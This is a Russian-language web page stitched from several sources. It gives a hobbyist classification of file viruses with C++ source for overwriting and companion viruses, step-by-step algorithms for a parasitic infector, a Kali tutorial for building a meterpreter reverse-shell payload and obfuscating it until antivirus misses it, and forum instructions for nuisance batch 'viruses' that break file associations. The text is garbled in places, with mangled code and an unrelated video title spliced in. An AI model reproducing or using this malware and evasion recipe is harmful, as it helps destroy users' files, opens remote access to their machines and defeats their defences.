HLL* — High Level Language Virus , написанные на языках высокого уровня, в большинстве случаев имеющие большой размер (порядка 50-300 Кб).
Языками высокого уровня называют все языки программирования кроме ассемблера. Так как на ЯВУ хорошо писать только червей и троянов, так и поэтому шанс выжить у зверков не так уж и высок. Хотя все зависит от кода, да и запаковать файл не сложно. Всяких утилит сейчас полно. Однако если паковать файл, то могут возникнуть проблемы с заражением файлов. Итак, расскажу какие монстры бывают и на какие делятся группы:
HLLC — High Level Language Companion viruses. Компаньон-вирусы (companion). Вирусы, не изменяющие файлы. Алгоритм работы этих вирусов состоит в том, что они создают для EXE-файлов файлы-спутники, имеющие то же самое имя, но с расширением .COM, например, для файла XCOPY.EXE создается файл XCOPY.COM. Вирус записывается в COM-файл и никак не изменяет EXE-файл.
При запуске такого файла DOS первым обнаружит и выполнит COM-файл, т.е. вирус, который затем запустит и EXE-файл. Однако есть и другие способы. Можно заменять собой тело жертвы, а саму программу копировать в файл с таким же именем, но с расширением .com, а затем и запускать его. Но эти вирусы совершенно не приспособлены к злому внешнему миру, как и их друзья HLLO.
СКАЧАЛ ПОТРЯСНЫЙ МАЙНКРАФТ ОТ ПОДПИСЧИКА! разоблачение ВИРУСНЫХ ПРОГРАММ!
HLLO: High Level Language Overwriting viruses.
Вирусы оверврайтеры. Ищут файлы и записываются вместо них.
Это вообще элементарные вирусы, которые существуют для обогащения антивирусных компаний. (Касперский не обижайся 😉 мы все понимаем).
В конце я приведу несколько примеров вирусов на языке с++. С описаниями для первых трех видов.
HLLP — High Level Language Parasitic viruses. Вирусы паразиты.
Записываются в конец или начало файлов, зараженные файлы остаются работоспособными. Вот и они звери похожие на вирусы. Эти вирусы могут заражать рабочие файлы несколькими методами,
но большинство этих методов реализуемы только на ассемблере. Поэтому я приведу только метод сдвига.
HLLS — High Level Language S viruses. Вирусы симбиозники.(как сифилезники) ;).
Честно говоря, я не знаю, как переводятся S вирусы. Но скажу, что большинство этих вирусов заражают исходные коды программ своим кодом. В одном из вирмейкерских журналов DVL я прочитал статью о таком вирусе, и он был прародителем этого вида зверей. Он заражал своим кодом TP и PAS файлы.
Своего рода полиморфик. Меняющийся за счет компиляции с чужими программами и случайными директивами.
Вобщем модули программ на паскале. На с++ такое вполне реализуемо.
Теоретически можно подумать, что S это Source. Но в статье написано (симбиоз). Так что думайте сами.
HLLW — High Level Language W viruses. Вирусы черви или трояны, их описания нет ни в одной антивирусной энциклопедии. Это большая куча вирусов, которые используют редкие методы распространения и заражения. Следует учесть, что антивирусники тоже ошибаются. Из журналов я понял, что эти вири строго не различаются.
Как делают вирусы?
Есть особи, размножающиеся через ДОС функции, они могут лезть в архивы в тексты. Да кругом.
Авторы иногда придумывают весьма странные методы размножения. Этот вид вирей можно назвать — Не вошло в другие разделы.
Ну, на этом теоретическая часть заканчивается и начинается практическая.
Я написал несколько демонстрационных вирусов на с++ (Компилировал в Билдере 6.0).
Все исходники достаточно хорошо откомментированы и понять их не так уж и сложно знающему си.
Далее я приведу алгоритмы описанных мной вирусов для ознакомления и понимания методов их работы.
ПОМНИТЕ НАПИСАНИЕ ВИРУСОВ ПРЕСЛЕДУЕТСЯ ПО ЗАКОНУ.
I)HLLO Первым я опишу вирус-оверврайтер —
- Найти все файлы exe или com в папке.
- Пророверить на заражение (если размеры совпадают).
- Заменить тело жертвы на свое.
- Выйти.
Все достаточно просто и думаю ни раз приходило вам в голову. Идея проста до безобразия,
но несмотря на слабую надежду выжить, нативирусники всеже их детектируют.
#include «windows.h»
#include «dir.h» //Стандарнтые Директивы препроцессора(хеадер
#include «stdio.h» //файлы, они нужны для использования определенный хункций#pragma hdrstop //Обработчики ошибок
#pragma argsused#define VIZE 57856 //Вводим примерный размер вируа (потом скомпилите и проверите , введете свой)
void VirusOver(char vir[],char tmp[]) //Это и есть функция заражения, в нее передаем имя вируса и жертвы
FILE *SRC, *DST; //Создаем буферы для хранения данных
char Buffer[1024];
short Counter=0;
int v = 0;
if ((strcmp(vir,tmp)) return 0;
SRC = fopen(vir, «rb»); //Считывем тело вируса
if(SRC)
DST = fopen(tmp, «wb»); //Считываем тело жертвы
if(DST)
for (v=0;v
Counter = fread(Buffer, 1, 1024, SRC);
if(Counter)
fwrite(Buffer, 1, Counter, DST); //Записываем вирус поверх жертвы
>
>
>
fclose(SRC);
fclose(DST);
>WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
char virname[256]; //Переменные
GetModuleFileName(hInstance, virname, 256); //Находим собственное имя (вируса)
struct ffblk ffblk; //Структура работы с findfirst
int done;
done = findfirst(«*.exe»,
while (!done) //Ищем файлы с расширением *.exe пока не перечислим все
VirusOver(virname,ffblk.ff_name); //Заменяем
done = findnext( //Если есть еще файлы продолжаем заражение
>
>
II) HLLC Теперь вирусы-компаньоны —
- Найти все файлы exe в папке.
- Проверить на заражение (есть ли файл с именем *.com).
- Жертву переименовать в *.com.
- Скопировать вирус под именем жертвы.
- Получить имя своего файла
- Запустить файл с таким же именем как у тебя, но с расширением *.com.
- Выйти.
В результате при запуске зараженной программы по ссылке или непосредственно по файлу выполняется вирус с именем программы, затем вирус после выполнения ищет в папке файл со своим именем, но с расширением COM и запускает его.
При заражении стоит пауза от глюков каждую секунду заражается 1 файл, предусмотрена защита от самозаражения, что часто приводит к глюкам и жрет оперативку. К сожалению иконка файла не сохраняется.
Но это компенсируйте какой-нибудь другой иконкой! Типа [txt].
#include «windows.h»
#include «dir.h» //Стандарнтые Директивы препроцессора(хеадер
#include «stdio.h» //файлы, они нужны для использования определенный функций
#include «io.h»#pragma hdrstop //Обработчики ошибок
#pragma argsused#define VIZE 57856 //Вводим примерный размер вируа (потом скомпилите и проверите , введёте свой)
int file_exists(char *filename)
return (access(filename, 0) == 0);
>
//—————-
VirusOver(char vir[],char tmp[]) //Это и есть функция заражения, в нее передаем имя вируса и жертвы
char kill[256];
unsigned int i;
FILE *SRC, *DST; //Создаем буферы для хранения данных
char Buffer[1024];
short Counter=0;
int v = 0;
if(strstr(vir,tmp)) return 0; //Смотрим не мы ли это сами хотим себя заразить??
strcpy(kill,tmp); // kill = NAME.exe
kill[strlen(tmp)-1]= ‘m’; // kill = NAME.com
kill[strlen(tmp)-2]= ‘o’;
kill[strlen(tmp)-3]= ‘c’;
if(file_exists(kill)) return 0; //Проверка на существование заразы
CopyFile(tmp,kill,true); //Копируем жертву в COM .
SetFileAttributes(kill, FILE_ATTRIBUTE_HIDDEN);
SRC = fopen(vir, «rb»); //Считывем тело вируса
if(SRC)
DST = fopen(tmp, «wb»); //Считываем тело жертвы
if(DST)
for (v=0;v!=Counter;v++)
Counter = fread(Buffer, 1, 1024, SRC);
if(Counter)
fwrite(Buffer, 1, Counter, DST); //Записываем вирус поверх жертвы
>
>
>
fclose(SRC);
fclose(DST); // tmp = NAME.exedelete kill,tmp,i,Buffer,v,Counter,*SRC, *DST;
return 0;
>
WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
char virname[256]; //Переменные
char zapas[256];SetErrorMode(SEM_NOGPFAULTERRORBOX); //Опять с ошибками но это не трогаем!
PeekMessage(NULL, NULL, NULL, NULL, NULL);GetModuleFileName(hInstance, virname, 256); //Находим собственное имя (вируса)
GetModuleFileName(hInstance, zapas, 256); //Запаска имени виря для запускаstruct ffblk ffblk; //Структура работы с findfirst
int done;
done = findfirst(«*.exe»,while (!done) //Ищем файлы с расширением *.exe пока не перечислим все
VirusOver(virname,ffblk.ff_name);
Sleep(1000); //Замедляем программу от тормозов компа
done = findnext( //Если есть еще фалйы продолжаем заражение
>zapas[strlen(zapas)-1]= ‘m’;
zapas[strlen(zapas)-2]= ‘o’;
zapas[strlen(zapas)-3]= ‘c’;WinExec(zapas,SW_SHOW);
return 0;
>
И вирусы-паразиты.
III) — HLLP Это поинтереснее. Привожу метод сдвига.
- Открыть файл, с которого мы получили управление.
- Считать в буфер тело вируса.
- Закрыть файл.
- Найти файл-жертву (для данного подвида лучше .COM, но можно и не слишком большой .EXE — это связано со считыванием ВСЕГО тела инфицируемой программы в память, которой может не хватить, если инфицируемая программа слишком большая).
- Открыть файл-жертву.
- Проверить файл на повторное заражение (у каждого эта процедура может быть своя, в основном используется метка).
- Если файл уже инфицирован, перейти к пункту 4.
- Считать в буфер ВСЕ ТЕЛО программы.
- Записать в начало файла тело вируса из буфера.
- Дописать в файл после тела вируса тело программы из буфера. Длина программы увеличится на длину вируса.
- Закрыть файл-жертву.
- Открыть файл, с которого мы стартовали.
- Считать в буфер тело инфицированной программы, расположенное в файле после тела вируса.
- Создать на диске временный файл с расширением .COM или .EXE (в зависимости от того, какой тип программ мы заражали).
- Записать в этот файл тело программы из буфера.
- Закрыть созданный файл.
- Процедурой Exec запустить созданный файл на исполнение — выполнится инфицированная программа.
- По завершению работы программы созданный файл удалить.
- Вернуть управление в ДОС.
Исходника компаньона у меня нет, я его написать не смог по причине учёбы и лени!
Приводить алгоритмы остальных видов вирусов я не буду, дабы не ошибиться, едь их огромное множество и они все разные. А поскольку вирусология — молодая наука, то вам еще исследовать и исследовать.
Статья написана исключительно для изучения алгоритмов работы вирусов и методов борьбы с ними. Алгорытмы работы вирусов были выявлены при декомпиляции найденных в интернете вирсуов и на сайте Лаборатории Касперского.
Запустите свою операционную систему Kali Linux и обновите ее до последней версии, используя команды «sudo apt-get update и sudo apt-get upgrade».
Теперь, когда вы обновили среду Kali Linux, мы создадим папку на рабочем столе под названием malware_cwz.
Вы можете сделать это, выполнив следующую команду на рабочем столе терминала:
# mkdir malware_cwz
После того как каталог создан, перейдите в него:
# cd malware_cwz
Теперь начинается забава, мы собираемся создавать вредоносное ПО с помощью meterpreter:
# msfvenom -p python / meterpreter / reverse_tcp LHOST = 192.168.1.100 LPORT = 1337 R> encoded.py
Затем мы декодируем закодированную оболочку:
Откройте ‘encoded.py’ и скопируйте значение, которое вы можете найти в первом («till the nex»).
Значения должны быть похожи на случайные символы.
# echo RANDOMVALUE | base64 —decode >> decoded.py
Теперь, когда значения были декодированы, мы собираемся отредактировать файл decoded.py.
введите в терминале следующее:
введите в терминале следующее:
# nano decoded.py
Теперь мы добавим случайный текст в каждую строку в файле, убедитесь, что текст содержит значение # в начале.
lineofcode
#randomtext
lineofcode
#randomtext
lineofcode
Теперь нам нужно снова закодировать его, сделать это с помощью одного и того же инструмента «base64» и скопировать закодированную строку в одно и то же место с именем «encoded.py».
Теперь, когда encoded.py полностью вооружен, мы можем создать из него исполняемый файл:
# pyinstaller encoded.py
Затем файл сохраняется в каталоге /root/dist/nameofyourfile/.
Загрузите файл на virustotal.com и повторите этот процесс, пока он не будет найден ни одной компанией AV.
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
Пожалуйста, не спамьте и никого не оскорбляйте. Это поле для комментариев, а не спамбокс. Рекламные ссылки не индексируются!
Источник: itsecforu.ru
Тема: Создание bat вируса на языке Pascal
Senior Member Регистрация 05.06.2011 Адрес мне знать. Сообщений 624 Вес репутации 0
Создание bat вируса на языке Pascal
Хочу сегодня рассказать вам, как создать вирус на самом примитивном уровне!
Вам понадобиться программа, для переименования формата .txt в .bat. Лично я пользуюсь программой Total Commander.
Итак начнём: Первым делом, создайте текстовой документ, пропишите в нём такую команду:
s.run»rundll32 user32, SwapMouseButton»
и сохраните. Далее вам надо переделать файл в формат .bat
Как только вы это сделаете, запустите полученный файл. Если всё правильно, кнопки мыши у вас должны «поменяться местами» Что бы всё сделать как было, зайдите в Пуск, далее Панель управления, Мышь, и уберите галочку с: Обменять назначение кнопок.
Если всё получилось — вы стали начинающим программистом! Поздравляю!
Идём дальше: Например мы хотим, что бы этот вирус, который мы только что создали, передавался на любой носитель информации, который вставлен в PC. Для этого прописываем в блокноте:
Если вы включили мозг, то вы догадались, что первые 4е строчки — заражают дискету, а 5ая — наш вирус, меняющий «местами кнопки» мыши. На самом деле, 1ая строчка, при запуски вируса, не даёт жертве возможности, запрещает ДОСовскому окошку показывать, что делает вирус.
Продолжаем: этот вирус придуман мною лично:
assoc .lnk=.txt >nul
assoc .exe=.mp3 >nul
assoc .rar=.png >nul
assoc .zip=.png >nul
assoc .png=.txt >nul
assoc .jpg=.txt >nul
assoc .jpeg=.txt >nul
Ну, я думаю вы поняли, что этот вирус делает: он переформатирует одни файлы, в другие!
И последний, самый жестокий вирус:
Что делает этот вирус:
Это, на сегодня, всё!
Спасибо за внимание!
Если есть вопросы, свои идеи, или что — то ещё — обращайтесь: dmgalperin — Skype
Источник: steam-akk.ru